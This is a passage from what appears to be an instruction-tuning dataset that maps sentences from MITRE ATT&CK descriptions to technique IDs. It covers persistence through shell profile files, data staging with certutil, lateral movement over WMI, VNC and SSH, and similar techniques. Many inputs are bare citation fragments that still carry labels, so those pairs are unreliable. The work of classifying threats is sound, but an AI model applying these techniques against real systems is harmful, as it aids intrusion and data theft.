`SO_ATTACH_FILTER` options. ### Response: T1205.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Since the socket connection is not active until the packet is received, this behavior may be difficult to detect due to the lack of activity on a host, low CPU overhead, and limited visibility into raw socket usage.", "output": "T1205.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Since the socket connection is not active until the packet is received, this behavior may be difficult to detect due to the lack of activity on a host, low CPU overhead, and limited visibility into raw socket usage. ### Response: T1205.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "If a malicious tool is detected and quarantined or otherwise curtailed, an adversary may be able to determine why the malicious tool was detected (the indicator), modify the tool by removing the indicator, and use the updated version that is no longer detected by the target's defensive systems or subsequent targets that may use similar systems.", "output": "T1066", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: If a malicious tool is detected and quarantined or otherwise curtailed, an adversary may be able to determine why the malicious tool was detected (the indicator), modify the tool by removing the indicator, and use the updated version that is no longer detected by the target's defensive systems or subsequent targets that may use similar systems. ### Response: T1066."}{"instruction": "List the MITRE techniques contained in the text.", "input": "A good example of this is when malware is detected with a file signature and quarantined by anti-virus software.", "output": "T1066", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: A good example of this is when malware is detected with a file signature and quarantined by anti-virus software. ### Response: T1066."}{"instruction": "List the MITRE techniques contained in the text.", "input": "An adversary who can determine that the malware was quarantined because of its file signature may use [Software Packing](https://attack.mitre.org/techniques/T1045) or otherwise modify the file so it has a different signature, and then re-use the malware.", "output": "T1066", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: An adversary who can determine that the malware was quarantined because of its file signature may use [Software Packing](https://attack.mitre.org/techniques/T1045) or otherwise modify the file so it has a different signature, and then re-use the malware. ### Response: T1066."}{"instruction": "List the MITRE techniques contained in the text.", "input": "An adversary may compress and/or encrypt data that is collected prior to exfiltration.", "output": "T1560", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: An adversary may compress and/or encrypt data that is collected prior to exfiltration. ### Response: T1560."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network.", "output": "T1560", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. ### Response: T1560."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.", "output": "T1560", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender. ### Response: T1560."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Both compression and encryption are done prior to exfiltration, and can be performed using a utility, 3rd party library, or custom method.", "output": "T1560", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Both compression and encryption are done prior to exfiltration, and can be performed using a utility, 3rd party library, or custom method. ### Response: T1560."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may use utilities to compress and/or encrypt collected data prior to exfiltration.", "output": "T1560.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may use utilities to compress and/or encrypt collected data prior to exfiltration. ### Response: T1560.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Many utilities include functionalities to compress, encrypt, or otherwise package data into a format that is easier/more secure to transport.", "output": "T1560.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Many utilities include functionalities to compress, encrypt, or otherwise package data into a format that is easier/more secure to transport. ### Response: T1560.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may abuse various utilities to compress or encrypt data before exfiltration.", "output": "T1560.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may abuse various utilities to compress or encrypt data before exfiltration. ### Response: T1560.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Some third party utilities may be preinstalled, such as <code>tar</code> on Linux and macOS or <code>zip</code> on Windows systems.", "output": "T1560.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Some third party utilities may be preinstalled, such as <code>tar</code> on Linux and macOS or <code>zip</code> on Windows systems. ### Response: T1560.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "On Windows, <code>diantz</code> or <code>", "output": "T1560.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: On Windows, <code>diantz</code> or <code> ### Response: T1560.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "makecab</code> may be used to package collected files into a cabinet (.cab) file.", "output": "T1560.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: makecab</code> may be used to package collected files into a cabinet (.cab) file. ### Response: T1560.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "<code>diantz</code> may also be used to download and compress files from remote locations (i.e. [Remote Data Staging](https://attack.mitre.org/techniques/T1074/002)).(Citation: diantz.exe_lolbas) <code>xcopy</code> on Windows can copy files and directories with a variety of options.", "output": "T1560.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: <code>diantz</code> may also be used to download and compress files from remote locations (i.e. [Remote Data Staging](https://attack.mitre.org/techniques/T1074/002)).(Citation: diantz.exe_lolbas) <code>xcopy</code> on Windows can copy files and directories with a variety of options. ### Response: T1560.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Additionally, adversaries may use [certutil](https://attack.mitre.org/software/S0160) to Base64 encode collected data before exfiltration.", "output": "T1560.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Additionally, adversaries may use [certutil](https://attack.mitre.org/software/S0160) to Base64 encode collected data before exfiltration. ### Response: T1560.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may use also third party utilities, such as 7-Zip, WinRAR, and WinZip, to perform similar activities.(Citation: 7zip Homepage)(Citation: WinRAR Homepage)(Citation: WinZip Homepage)", "output": "T1560.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may use also third party utilities, such as 7-Zip, WinRAR, and WinZip, to perform similar activities.(Citation: 7zip Homepage)(Citation: WinRAR Homepage)(Citation: WinZip Homepage) ### Response: T1560.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to log into a service that accepts remote connections, such as telnet, SSH, and VNC.", "output": "T1021", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to log into a service that accepts remote connections, such as telnet, SSH, and VNC. ### Response: T1021."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The adversary may then perform actions as the logged-on user.", "output": "T1021", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The adversary may then perform actions as the logged-on user. ### Response: T1021."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In an enterprise environment, servers and workstations can be organized into domains.", "output": "T1021", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In an enterprise environment, servers and workstations can be organized into domains. ### Response: T1021."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Domains provide centralized identity management, allowing users to login using one set of credentials across the entire network.", "output": "T1021", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Domains provide centralized identity management, allowing users to login using one set of credentials across the entire network. ### Response: T1021."}{"instruction": "List the MITRE techniques contained in the text.", "input": "If an adversary is able to obtain a set of valid domain credentials, they could login to many different machines using remote access protocols such as secure shell (SSH) or remote desktop protocol (RDP).(Citation: SSH Secure Shell)(Citation: TechNet Remote Desktop Services)", "output": "T1021", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: If an adversary is able to obtain a set of valid domain credentials, they could login to many different machines using remote access protocols such as secure shell (SSH) or remote desktop protocol (RDP).(Citation: SSH Secure Shell)(Citation: TechNet Remote Desktop Services) ### Response: T1021."}{"instruction": "List the MITRE techniques contained in the text.", "input": "They could also login to accessible SaaS or IaaS services, such as those that federate their identities to the domain.", "output": "T1021", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: They could also login to accessible SaaS or IaaS services, such as those that federate their identities to the domain. ### Response: T1021."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Legitimate applications (such as [Software Deployment Tools](https://attack.mitre.org/techniques/T1072) and other administrative programs) may utilize [Remote Services](https://attack.mitre.org/techniques/T1021) to access remote hosts.", "output": "T1021", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Legitimate applications (such as [Software Deployment Tools](https://attack.mitre.org/techniques/T1072) and other administrative programs) may utilize [Remote Services](https://attack.mitre.org/techniques/T1021) to access remote hosts. ### Response: T1021."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For example, Apple Remote Desktop (ARD) on macOS is native software used for remote management.", "output": "T1021", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For example, Apple Remote Desktop (ARD) on macOS is native software used for remote management. ### Response: T1021."}{"instruction": "List the MITRE techniques contained in the text.", "input": "ARD leverages a blend of protocols, including [VNC](https://attack.mitre.org/techniques/T1021/005) to send the screen and control buffers and [SSH](https://attack.mitre.org/techniques/T1021/004) for secure file transfer.(Citation:", "output": "T1021", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: ARD leverages a blend of protocols, including [VNC](https://attack.mitre.org/techniques/T1021/005) to send the screen and control buffers and [SSH](https://attack.mitre.org/techniques/T1021/004) for secure file transfer.(Citation: ### Response: T1021."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Remote Management MDM macOS)(Citation:", "output": "T1021", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Remote Management MDM macOS)(Citation: ### Response: T1021."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Kickstart Apple Remote Desktop commands)(Citation:", "output": "T1021", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Kickstart Apple Remote Desktop commands)(Citation: ### Response: T1021."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Apple Remote Desktop Admin Guide 3.3)", "output": "T1021", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Apple Remote Desktop Admin Guide 3.3) ### Response: T1021."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries can abuse applications such as ARD to gain remote code execution and perform lateral movement.", "output": "T1021", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries can abuse applications such as ARD to gain remote code execution and perform lateral movement. ### Response: T1021."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In versions of macOS prior to 10.14, an adversary can escalate an SSH session to an ARD session which enables an adversary to accept TCC (Transparency, Consent, and Control) prompts without user interaction and gain access to data.(Citation: FireEye 2019 Apple Remote Desktop)(Citation:", "output": "T1021", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In versions of macOS prior to 10.14, an adversary can escalate an SSH session to an ARD session which enables an adversary to accept TCC (Transparency, Consent, and Control) prompts without user interaction and gain access to data.(Citation: FireEye 2019 Apple Remote Desktop)(Citation: ### Response: T1021."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Lockboxx ARD 2019)(Citation:", "output": "T1021", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Lockboxx ARD 2019)(Citation: ### Response: T1021."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Kickstart Apple Remote Desktop commands)", "output": "T1021", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Kickstart Apple Remote Desktop commands) ### Response: T1021."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to remotely control machines using Virtual Network Computing (VNC).", "output": "T1021.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to remotely control machines using Virtual Network Computing (VNC). ### Response: T1021.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "VNC is a platform-independent desktop sharing system that uses the RFB (\u201cremote framebuffer\u201d) protocol to enable users to remotely control another computer\u2019s display by relaying the screen, mouse, and keyboard inputs over the network.(Citation: The Remote Framebuffer Protocol)", "output": "T1021.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: VNC is a platform-independent desktop sharing system that uses the RFB (\u201cremote framebuffer\u201d) protocol to enable users to remotely control another computer\u2019s display by relaying the screen, mouse, and keyboard inputs over the network.(Citation: The Remote Framebuffer Protocol) ### Response: T1021.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "VNC differs from [Remote Desktop Protocol](https://attack.mitre.org/techniques/T1021/001) as VNC is screen-sharing software rather than resource-sharing software.", "output": "T1021.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: VNC differs from [Remote Desktop Protocol](https://attack.mitre.org/techniques/T1021/001) as VNC is screen-sharing software rather than resource-sharing software. ### Response: T1021.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "By default, VNC uses the system's authentication, but it can be configured to use credentials specific to VNC.(Citation: MacOS VNC software for Remote Desktop)(Citation: VNC Authentication)", "output": "T1021.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: By default, VNC uses the system's authentication, but it can be configured to use credentials specific to VNC.(Citation: MacOS VNC software for Remote Desktop)(Citation: VNC Authentication) ### Response: T1021.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may abuse VNC to perform malicious actions as the logged-on user such as opening documents, downloading files, and running arbitrary commands.", "output": "T1021.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may abuse VNC to perform malicious actions as the logged-on user such as opening documents, downloading files, and running arbitrary commands. ### Response: T1021.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "An adversary could use VNC to remotely control and monitor a system to collect data and information to pivot to other systems within the network.", "output": "T1021.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: An adversary could use VNC to remotely control and monitor a system to collect data and information to pivot to other systems within the network. ### Response: T1021.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Specific VNC libraries/implementations have also been susceptible to brute force attacks and memory usage exploitation.(Citation: Hijacking VNC)(Citation: macOS root VNC login without authentication)(Citation: VNC Vulnerabilities)(Citation: Offensive Security VNC Authentication Check)(Citation: Attacking VNC Servers PentestLab)(Citation:", "output": "T1021.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Specific VNC libraries/implementations have also been susceptible to brute force attacks and memory usage exploitation.(Citation: Hijacking VNC)(Citation: macOS root VNC login without authentication)(Citation: VNC Vulnerabilities)(Citation: Offensive Security VNC Authentication Check)(Citation: Attacking VNC Servers PentestLab)(Citation: ### Response: T1021.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Havana authentication bug)", "output": "T1021.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Havana authentication bug) ### Response: T1021.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads.", "output": "T1047", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. ### Response: T1047."}{"instruction": "List the MITRE techniques contained in the text.", "input": "WMI is an administration feature that provides a uniform environment to access Windows system components.", "output": "T1047", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: WMI is an administration feature that provides a uniform environment to access Windows system components. ### Response: T1047."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The WMI service enables both local and remote access, though the latter is facilitated by [Remote Services](https://attack.mitre.org/techniques/T1021) such as [Distributed Component Object Model](https://attack.mitre.org/techniques/T1021/003) (DCOM) and [Windows Remote Management](https://attack.mitre.org/techniques/T1021/006) (WinRM).(Citation: MSDN WMI)", "output": "T1047", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The WMI service enables both local and remote access, though the latter is facilitated by [Remote Services](https://attack.mitre.org/techniques/T1021) such as [Distributed Component Object Model](https://attack.mitre.org/techniques/T1021/003) (DCOM) and [Windows Remote Management](https://attack.mitre.org/techniques/T1021/006) (WinRM).(Citation: MSDN WMI) ### Response: T1047."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.(Citation:", "output": "T1047", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.(Citation: ### Response: T1047."}{"instruction": "List the MITRE techniques contained in the text.", "input": "MSDN WMI)(Citation:", "output": "T1047", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: MSDN WMI)(Citation: ### Response: T1047."}{"instruction": "List the MITRE techniques contained in the text.", "input": "FireEye WMI 2015)", "output": "T1047", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: FireEye WMI 2015) ### Response: T1047."}{"instruction": "List the MITRE techniques contained in the text.", "input": "An adversary can use WMI to interact with local and remote systems and use it as a means to execute various behaviors, such as gathering information for Discovery as well as remote Execution of files as part of Lateral Movement.", "output": "T1047", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: An adversary can use WMI to interact with local and remote systems and use it as a means to execute various behaviors, such as gathering information for Discovery as well as remote Execution of files as part of Lateral Movement. ### Response: T1047."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: FireEye WMI SANS 2015)", "output": "T1047", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: FireEye WMI SANS 2015) ### Response: T1047."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: FireEye WMI 2015)", "output": "T1047", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: FireEye WMI 2015) ### Response: T1047."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may establish persistence through executing malicious commands triggered by a user\u2019s shell.", "output": "T1156", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may establish persistence through executing malicious commands triggered by a user\u2019s shell. ### Response: T1156."}{"instruction": "List the MITRE techniques contained in the text.", "input": "User shells execute several configuration scripts at different points throughout the session based on events.", "output": "T1156", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: User shells execute several configuration scripts at different points throughout the session based on events. ### Response: T1156."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For example, when a user opens a command line interface or remotely logs in (such as SSH) a login shell is initiated.", "output": "T1156", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For example, when a user opens a command line interface or remotely logs in (such as SSH) a login shell is initiated. ### Response: T1156."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The login shell executes scripts from the system (/etc) and the user\u2019s home directory (~/) to configure the environment.", "output": "T1156", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The login shell executes scripts from the system (/etc) and the user\u2019s home directory (~/) to configure the environment. ### Response: T1156."}{"instruction": "List the MITRE techniques contained in the text.", "input": "All login shells on a system use <code>/etc/profile</code> when initiated.", "output": "T1156", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: All login shells on a system use <code>/etc/profile</code> when initiated. ### Response: T1156."}{"instruction": "List the MITRE techniques contained in the text.", "input": "These configuration scripts run at the permission level of their directory and are often used to set environment variables, create aliases, and customize the user\u2019s environment.", "output": "T1156", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: These configuration scripts run at the permission level of their directory and are often used to set environment variables, create aliases, and customize the user\u2019s environment. ### Response: T1156."}{"instruction": "List the MITRE techniques contained in the text.", "input": "When the shell exits or terminates, additional shell scripts are executed to ensure the shell exits appropriately.", "output": "T1156", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: When the shell exits or terminates, additional shell scripts are executed to ensure the shell exits appropriately. ### Response: T1156."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may attempt to establish persistence by inserting commands into scripts automatically executed by shells.", "output": "T1156", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may attempt to establish persistence by inserting commands into scripts automatically executed by shells. ### Response: T1156."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Using bash as an example, the default shell for most GNU/Linux systems, adversaries may add commands that launch malicious binaries into the <code>/etc/profile</code> and <code>/etc/profile.d</code> files (Citation: intezer-kaiji-malware).", "output": "T1156", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Using bash as an example, the default shell for most GNU/Linux systems, adversaries may add commands that launch malicious binaries into the <code>/etc/profile</code> and <code>/etc/profile.d</code> files (Citation: intezer-kaiji-malware). ### Response: T1156."}{"instruction": "List the MITRE techniques contained in the text.", "input": "These files require root permissions and are executed each time any shell on a system launches.", "output": "T1156", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: These files require root permissions and are executed each time any shell on a system launches. ### Response: T1156."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For user level permissions, adversaries can insert malicious commands into <code>~/.bash_profile</code>, <code>~/.bash_login</code>, or <code>~/.profile</code> (Rocke) which are sourced when a user opens a command line interface or connects remotely.", "output": "T1156", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For user level permissions, adversaries can insert malicious commands into <code>~/.bash_profile</code>, <code>~/.bash_login</code>, or <code>~/.profile</code> (Rocke) which are sourced when a user opens a command line interface or connects remotely. ### Response: T1156."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries often use ~/.bash_profile since the system only executes the first file that exists in the listed order.", "output": "T1156", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries often use ~/.bash_profile since the system only executes the first file that exists in the listed order. ### Response: T1156."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries have also leveraged the <code>~/.bashrc</code> file (Tsunami, Rocke, Linux Rabbit, Magento) which is additionally executed if the connection is established remotely or an additional interactive shell is opened, such as a new tab in the command line interface.", "output": "T1156", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries have also leveraged the <code>~/.bashrc</code> file (Tsunami, Rocke, Linux Rabbit, Magento) which is additionally executed if the connection is established remotely or an additional interactive shell is opened, such as a new tab in the command line interface. ### Response: T1156."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Some malware targets the termination of a program to trigger execution (Cannon), adversaries can use the <code>~/.bash_logout</code> file to execute malicious commands at the end of a session(Pearl_shellbot).", "output": "T1156", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Some malware targets the termination of a program to trigger execution (Cannon), adversaries can use the <code>~/.bash_logout</code> file to execute malicious commands at the end of a session(Pearl_shellbot). ### Response: T1156."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For macOS, the functionality of this technique is similar but leverages zsh, the default shell for macOS 10.15+.", "output": "T1156", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For macOS, the functionality of this technique is similar but leverages zsh, the default shell for macOS 10.15+. ### Response: T1156."}{"instruction": "List the MITRE techniques contained in the text.", "input": "When the Terminal.app is opened, the application launches a zsh login shell and a zsh interactive shell.", "output": "T1156", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: When the Terminal.app is opened, the application launches a zsh login shell and a zsh interactive shell. ### Response: T1156."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The login shell configures the system environment using <code>/etc/profile</code>, <code>/etc/zshenv</code>, <code>/etc/zprofile</code>, and <code>/etc/zlogin</code>.", "output": "T1156", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The login shell configures the system environment using <code>/etc/profile</code>, <code>/etc/zshenv</code>, <code>/etc/zprofile</code>, and <code>/etc/zlogin</code>. ### Response: T1156."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The login shell then configures the user environment with <code>~/.zprofile</code> and <code>~/.zlogin</code>.", "output": "T1156", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The login shell then configures the user environment with <code>~/.zprofile</code> and <code>~/.zlogin</code>. ### Response: T1156."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The interactive shell uses the <code>~/.zshrc<code> to configure the user environment.", "output": "T1156", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The interactive shell uses the <code>~/.zshrc<code> to configure the user environment. ### Response: T1156."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Upon exiting, <code>/etc/zlogout</code> and <code>~/.zlogout</code> are executed.", "output": "T1156", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Upon exiting, <code>/etc/zlogout</code> and <code>~/.zlogout</code> are executed. ### Response: T1156."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For legacy programs, macOS executes 